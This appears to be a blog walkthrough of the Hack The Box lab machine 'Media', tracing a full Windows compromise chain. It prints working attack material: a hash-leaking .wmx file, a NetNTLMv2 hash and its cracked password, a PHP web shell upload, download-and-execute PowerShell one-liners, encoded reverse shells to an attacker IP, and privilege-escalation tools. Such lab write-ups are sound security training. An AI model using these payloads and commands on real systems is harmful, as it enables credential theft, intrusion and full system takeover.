Hack The Box: Media Writeup

Posted Feb 8, 2026 Updated Feb 9, 2026

By Varad KJ

12 min read

Media is a Medium-rated Windows box from Hack The Box that demonstrates a realistic attack chain centered around NTLM credential theft and Windows privilege abuse. The initial foothold is gained by exploiting Windows Media Player’s automatic authentication feature to leak NTLM hashes through a malicious .wmx file upload. After cracking the credentials and establishing SSH access, privilege escalation is achieved by creating a symbolic link to gain RCE as nt authority\local service, then leveraging SeImpersonatePrivilege to escalate to SYSTEM. At its core, this box teaches how seemingly innocuous Windows privileges can be weaponized for privilege escalation when services run with unnecessary permissions.

Reconnaissance

I started with a basic Nmap scan to identify open ports.

  
└─$ nmap -p- --min-rate 10000 -oN nmap/media-open-ports 10.129.234.67 -vv

Host is up, received echo-reply ttl 127 (0.028s latency).
Scanned at 2026-02-08 18:25:17 EST for 13s
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON
22/tcp   open  ssh           syn-ack ttl 127
80/tcp   open  http          syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127

Then I did a detailed script and service scan on the open ports:

  
└─$ nmap -p22,80,3389 -sC -sV -sS -A -vv -oN nmap/media-detailed-scan 10.129.234.67

Nmap scan report for 10.129.234.67
Host is up, received echo-reply ttl 127 (0.019s latency).
Scanned at 2026-02-08 18:26:44 EST for 28s

PORT     STATE SERVICE       REASON          VERSION
22/tcp   open  ssh           syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
80/tcp   open  http          syn-ack ttl 127 Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: ProMotion Studio
3389/tcp open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=MEDIA
| Issuer: commonName=MEDIA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-07T23:21:27
| Not valid after:  2026-08-09T23:21:27
| MD5:   e5f8:e9b0:4416:b2f7:daa5:aaa6:69cc:3641
| SHA-1: f9c5:e78b:c60f:e482:2961:b47f:534f:831e:60dc:0df3
| -----BEGIN CERTIFICATE-----
| MIICzjCCAbagAwIBAgIQGL2rxHSD8bNECosHtgnx8TANBgkqhkiG9w0BAQsFADAQ
| MQ4wDAYDVQQDEwVNRURJQTAeFw0yNjAyMDcyMzIxMjdaFw0yNjA4MDkyMzIxMjda
| MBAxDjAMBgNVBAMTBU1FRElBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
| AQEAw//NT2l+KuKr9ltxTIffB0bshaVeSvl821QXIb0YvfJVNQ3B52rYsDXRgbS1
| o5tR7VhldfUnctAiu9yBMd9wwk68dq9OLqew9tRQX56W0seHLZkDgpRHY1/JW1nq
| /NusfOpvK8rodjTLY40vicnYLtf2NT00IyjRIbqtuvpoqZjjiNGszgUpH7/2m1ym
| YgxkUKgkY3b4/GVLfB5orFpHetaouixIW+jpDWqKLxHtXyVgCv/bUKWdG+tzV1xJ
| izxq+6f7tO18hbCBiC2We4LdixOs5PHfq2VuVvameb4DuPGoCGZm2q0l+ESKmy0T
| UCXUFYaON9K2dLGQUtRhlqrf/QIDAQABoyQwIjATBgNVHSUEDDAKBggrBgEFBQcD
| ATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBAK1c2gewjzT52OUQUTy/
| TWEdnv4AOHE3IQRX5G6damz6yGTq11cZcqv6vtUWCRMfhHTgEdTTbV0kSI9Dpxd7
| rPQ19kRm7KpGManEPNMfrnFZuwYowuyeFQ+4BIi3rNrf91HlMl6d2LJWUvu1EhgP
| oxOWuyaO/fHrJXcVNpDl1Y0OjFy0j6GXbNAbiVuAdB9XnBZv9gRb+1wX8YnJtotw
| zd2ecJwKn9zpmX9Ivz0swX4AEFGcqNCw2ArJcQkGNej7M9tMVQy2u1ynAO9D+t7/
| ehIX4ayfHzNk6Z7gGNW9RDPYk0w3pgKx7TKVrZ+8djd992qChzjz39nh14FMLo80
| adc=
|_-----END CERTIFICATE-----
| rdp-ntlm-info: 
|   Target_Name: MEDIA
|   NetBIOS_Domain_Name: MEDIA
|   NetBIOS_Computer_Name: MEDIA
|   DNS_Domain_Name: MEDIA
|   DNS_Computer_Name: MEDIA
|   Product_Version: 10.0.20348
|_  System_Time: 2026-02-08T23:27:05+00:00
|_ssl-date: 2026-02-08T23:27:10+00:00; -2s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).

Web Enumeration

Port 80 is running Apache httpd 2.4.56 with PHP/8.1.17 on Windows.

Raw curl output:

curl -i http://10.129.234.67

HTTP/1.1 200 OK
Date: Sun, 08 Feb 2026 23:37:39 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
X-Powered-By: PHP/8.1.17
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

Dev tools - network tab - headers:

There was nothing in the source code and no robots.txt.

Let’s try gobuster:

  
└─$ gobuster dir -u http://10.129.234.67/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,asp,aspx,html,bak,sh,cgi

Gobuster didn’t find anything useful.

I inspected the upload form using Burp, which didn’t lead to anything useful, as it was just another normal upload form.

Since it says “Upload a brief introduction video (compatible with Windows Media Player):”

Uploading a normal sample MPEG file gives:

It allows uploading of PHP and image files as well, but we don’t know where they’re located as of now.

NTLM Credential Theft

On Googling for “windows media player file upload attacks” we get ‘NTLM Credential Theft’ because it mentions bypassing user interaction and since we do not have any user access, I chose this route.

This led me to Morphisec’s blog post on NTLM vulnerabilities.

I created a similar .wmx file:

cat leak.wmx

  
<asx version="3.0">
  <title>Leak</title>
  <entry>
    <ref href="file://10.10.15.69/share/fake.mp3"/>
  </entry>
</asx>

And started responder:

sudo responder -I tun0

And got the NTLM hash for user ‘MEDIA/enox’:

Cracking the Hash

Let’s crack this using hashcat.

Switching to my RTX 4070 Super GPU PC.

  
PS C:\Cybersec\hashcat-6.2.6\hashcat-6.2.6> .\hashcat.exe -m 5600 .\hashes\enox.hash .\wordlists\rockyou.txt -d 2

ENOX::MEDIA:9e058d42052b4be4:45e09247a1cb50ba83f1d8c701a41470:0101000000000000802c8a353099dc014194d3ddd8cb650c0000000002000800350053004500570001001e00570049004e002d003200470048004f0034003100390055004c004400480004003400570049004e002d003200470048004f0034003100390055004c00440048002e0035005300450057002e004c004f00430041004c000300140035005300450057002e004c004f00430041004c000500140035005300450057002e004c004f00430041004c0007000800802c8a353099dc0106000400020000000800300030000000000000000000000000300000c74d069c1b6e1e5854730bc56fda38b2701e8e744d076a5fb392a822aff0b28c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e00360039000000000000000000:1234virus@

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: ENOX::MEDIA:9e058d42052b4be4:45e09247a1cb50ba83f1d8...000000
Time.Started.....: Sun Feb 08 19:51:57 2026 (0 secs)
Time.Estimated...: Sun Feb 08 19:51:57 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (.\wordlists\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........: 42733.9 kH/s (2.06ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 0/14344384 (0.00%)
Restore.Point....: 11010048/14344384 (76.76%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#2....: $HEX[4a6f7973746572] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#2..: Temp: 47c Fan: 34% Util:  4% Core:2775MHz Mem:10501MHz Bus:16

Started: Sun Feb 08 19:51:55 2026
Stopped: Sun Feb 08 19:51:58 2026

GOT THE PASSWORD! - 1234virus@

Initial Access

We can test this against SSH and we got shell as ENOX!

ssh enox@10.129.234.67

GOT USER FLAG AS WELL!

Enumerating the Host

Found a review.ps1 in the Documents folder of user enox:

Before we do anything else, I would like to upgrade to a PowerShell session using Nishang:

└─$ cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 ./server

Added Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.69 -Port 4444 to the end of the .ps1 script to make it invoke itself.

Then we listen on port 4444 using netcat:

nc -lvnp 4444

We can download the script using a PowerShell one-liner:

  
enox@MEDIA C:\Users\enox>powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.69:8000/Invoke-PowerShellTcp.ps1')"

And we get a callback!

After searching for the website on the host, we can see that the website is located in C:\xampp\htdocs.

Looking at review.ps1 and index.php which we found earlier:

review.ps1:

  
function Get-Values {

param (

[Parameter(Mandatory = $true)]

[ValidateScript({Test-Path -Path $_ -PathType Leaf})]

[string]$FilePath

)

# Read the first line of the file

$firstLine = Get-Content $FilePath -TotalCount 1

# Extract the values from the first line

if ($firstLine -match 'Filename: (.+), Random Variable: (.+)') {

$filename = $Matches[1]

$randomVariable = $Matches[2]

# Create a custom object with the extracted values

$repoValues = [PSCustomObject]@{

FileName = $filename

RandomVariable = $randomVariable

}

return $repoValues

} else {

Write-Host "The first line does not contain the expected pattern."

return $null

}

}

# Usage

$filePath = "C:\Windows\Tasks\Uploads\todo.txt"

$values = Get-Values -FilePath $filePath

# Check if values were extracted

if ($values) {

$argument = "C:\Windows\Tasks\Uploads\" + $values.RandomVariable + "\" + $values.FileName

# Run Windows Media Player

Start-Process "C:\Program Files\Windows Media Player\wmplayer.exe" -ArgumentList $argument

} else {

Write-Host "No values to process."

}

index.php (relevant parts):

  
<?php

$uploadDir = 'C:/Windows/Tasks/Uploads/';

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {

$firstname = filter_var($_POST["firstname"], FILTER_SANITIZE_STRING);

$lastname = filter_var($_POST["lastname"], FILTER_SANITIZE_STRING);

$email = filter_var($_POST["email"], FILTER_SANITIZE_STRING);

// Create a folder name using the MD5 hash of Firstname + Lastname + Email

$folderName = md5($firstname . $lastname . $email);

// Create the full upload directory path

$targetDir = $uploadDir . $folderName . '/';

// Ensure the directory exists; create it if not

if (!file_exists($targetDir)) {

mkdir($targetDir, 0777, true);

}
// Sanitize the filename to remove unsafe characters

$originalFilename = $_FILES["fileToUpload"]["name"];

$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);

// Build the full path to the target file

$targetFile = $targetDir . $sanitizedFilename;

if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {

echo "<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>";

// Update the todo.txt file

$todoFile = $uploadDir . 'todo.txt';
$todoContent = "Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n";

// Append the new line to the file

file_put_contents($todoFile, $todoContent, FILE_APPEND);

} else {

echo "<script>alert('Uh oh, something went wrong... Please submit again');</script>";
}
}
?>

Exploitation Analysis

I think the server creates a folder based on md5sum(firstname+lastname+email) in the C:\Windows\Tasks\Uploads directory with no strict checks at all except on the client side, which can be easily bypassed. Then whatever is inside the created directory is updated to C:\Windows\Tasks\Uploads\todo.txt which is parsed by the review.ps1 script for FileName and Random Variable which are used to create an argument in the format of C:\Windows\Tasks\Uploads\RandomVariable\FileName and is passed to the Windows Media Player process and executed.

Since we have shell as enox, we can confirm our logic by checking the md5sum of ‘firstlastemail@email.com’ using:

  
echo -n "firstlastemail@email.com" | md5sum

Which gives: 80fefd05c29ce28644b919824e26c77d

And we can confirm the same folder is created when we POST with the same fields with a PHP web shell and see what directory is created in /Uploads.

I captured the POST request from Burp as a cURL command:

  
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: 10.129.234.67' -H $'Content-Length: 637' -H $'Cache-Control: max-age=0' -H $'Origin: http://10.129.234.67' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCrTzIOhJRA0h7q1Y' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Referer: http://10.129.234.67/' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: keep-alive' \
    --data-binary $'------WebKitFormBoundaryCrTzIOhJRA0h7q1Y\x0d\x0aContent-Disposition: form-data; name=\"firstname\"\x0d\x0a\x0d\x0afirst\x0d\x0a------WebKitFormBoundaryCrTzIOhJRA0h7q1Y\x0d\x0aContent-Disposition: form-data; name=\"lastname\"\x0d\x0a\x0d\x0alast\x0d\x0a------WebKitFormBoundaryCrTzIOhJRA0h7q1Y\x0d\x0aContent-Disposition: form-data; name=\"email\"\x0d\x0a\x0d\x0aemail@email.com\x0d\x0a------WebKitFormBoundaryCrTzIOhJRA0h7q1Y\x0d\x0aContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"web.php\"\x0d\x0aContent-Type: application/x-php\x0d\x0a\x0d\x0a<?php system($_GET[\'cmd\']);?>\x0a\x0d\x0a------WebKitFormBoundaryCrTzIOhJRA0h7q1Y\x0d\x0aContent-Disposition: form-data; name=\"submit\"\x0d\x0a\x0d\x0aUpload File\x0d\x0a------WebKitFormBoundaryCrTzIOhJRA0h7q1Y--\x0d\x0a' \
    $'http://10.129.234.67/'

I know we can cut out a lot of stuff from this, but maybe next time. And we get:

Creating Symlink for RCE

So we can create a symlink of this md5 folder to the root of the webserver so we can POST a PHP webshell and get RCE as whatever process is running the webshell and consequently get a reverse shell as that process.

We create the symlink using:

  
cmd /c mklink /J C:\Windows\Tasks\Uploads\80fefd05c29ce28644b919824e26c77d C:\xampp\htdocs

And we can test for the PHP webshell:

We have RCE as nt authority\local service!

$RCE as nt authority\local service$

Let’s get a reverse shell back:

WE HAVE SHELL AS THE LOCAL SERVICE!

Now let’s check our perms/privs:

Privilege Escalation

The SeTcbPrivilege looks interesting but is disabled. Reading online led me to this guide on abusing Windows tokens.

Which led me to the FullPowers tool.

From my understanding, if we are nt authority, it’s basically game over and “disabled” doesn’t mean access is not granted; we just need to enable the privilege, which we can apparently do.

So following the guide using FullPowers:

  
iwr -Uri http://10.10.15.69:8000/FullPowers.exe -OutFile FullPowers.exe

Testing our theory:

  
PS C:\Users\Public> ./FullPowers.exe -c "whoami"
[+] Started dummy thread with id 3740
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
nt authority\local service

PS C:\Users\Public> ./FullPowers.exe -c "whoami /priv"
[+] Started dummy thread with id 324
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

So now I referred to:

//had to reset the machine

So anyways, I wanted a PowerShell session with all the enabled tokens so we do:

  
./FullPowers.exe -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4ANgA5ACIALAA2ADYANgA2ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" -z

And catch it with:

nc -lvnp 6666

We get callback!

  
PS C:\Users\Public> iwr http://10.10.15.69:8000/god.exe -outfile god.exe

Then we use GodPotato to get a reverse shell as nt authority\system:

  
./god.exe -cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4ANgA5ACIALAA3ADcANwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

And catch it with:

nc -lvnp 7777

WE ARE SYSTEM!

And we get the root flag!

Conclusion

This box demonstrated a realistic attack chain involving NTLM credential theft through Windows Media Player file handling, followed by privilege escalation using token impersonation techniques. The key takeaways include understanding how file handlers can be exploited for credential harvesting and leveraging service account privileges for system access.

HTB, Windows, Medium

This post is licensed under CC BY 4.0 by the author.